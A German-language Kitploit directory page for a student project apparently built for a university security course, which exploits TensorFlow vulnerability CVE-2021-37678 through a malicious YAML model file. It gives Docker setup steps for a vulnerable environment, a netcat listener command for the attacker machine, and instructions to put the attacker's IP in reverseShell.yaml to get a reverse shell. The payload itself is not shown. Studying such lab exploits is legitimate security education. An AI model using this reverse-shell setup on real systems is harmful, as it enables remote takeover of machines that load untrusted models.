Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ExploitTensorflowCVE-2021-37678 — TP Informationssicherheit UTN FRBA 2021 | Kitploit
Tools/GitHubGitHub/fran-cics/exploittensorflowcve-2021-37678
Container-SicherheitSchwachstellenanalyseExploitationLernen & BildungPayload-EntwicklungKI-Sicherheit
GitHubfran-cics/exploittensorflowcve-2021-37678

ExploitTensorflowCVE-2021-37678

TP Informationssicherheit UTN FRBA 2021

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
2vor 4 JahrenNoch nicht geprüft

CVE-2021-37678 Exploit

Um die Schwachstelle auszunutzen, ist es notwendig, einen Docker-Container mit einer vorbereiteten Umgebung zu starten, um Tensorflow mit einer Version 2.2.3 zu starten, die noch die Schwachstelle aufweist. Es besteht aus:

  • Eine AMD-64-Bit-Architektur,
  • CPU oder GPU, die AVX-Instruktionen ausführen kann
  • 64-Bit-Python in Version 3.6.9
  • Pip3 in Version 20.2.4
  • Tensorflow in Version 2.2.3
  • PyYAML in Version 3.12

Überprüfen, ob die Maschine Docker hat, indem Sie Folgendes ausführen:

root@kitploit:~
docker -v

Sobald unser Betriebssystem Docker installiert hat, führen Sie die folgenden Befehle im Stammverzeichnis dieses Repositorys aus, um die Anwendung zu bauen und zu starten:

root@kitploit:~
docker-compose build
root@kitploit:~
docker-compose up

Oder, um ohne Docker Compose zu starten:

root@kitploit:~
docker build -t docker-exploit-tensorflow-vulnerability:1.0 . # zum Bauen des Images
root@kitploit:~
docker run --add-host=host.docker.internal:host-gateway --name exploit-tensorflow-vulnerability docker-exploit-tensorflow-vulnerability:1.0 # zum Erstellen und erstmaligen Starten des Prozesses
docker start -a exploit-tensorflow-vulnerability # zum erneuten Starten des Prozesses

Damit die Reverse Shell funktioniert, muss netcat auf dem Angreifer-Rechner installiert sein und ein Listening-Port für eine SSH-Sitzung geöffnet werden. Beispiel:

root@kitploit:~
nc -lvp 10000

Anschließend wird die Schwachstelle durch ein bösartiges KI-Modell ausgenutzt, wobei wir die Verbindung zum Angreifer herstellen. Die IP und der Listening-Port des Angreifers müssen in der Datei reverseShell.yaml konfiguriert werden.

Tool herunterladen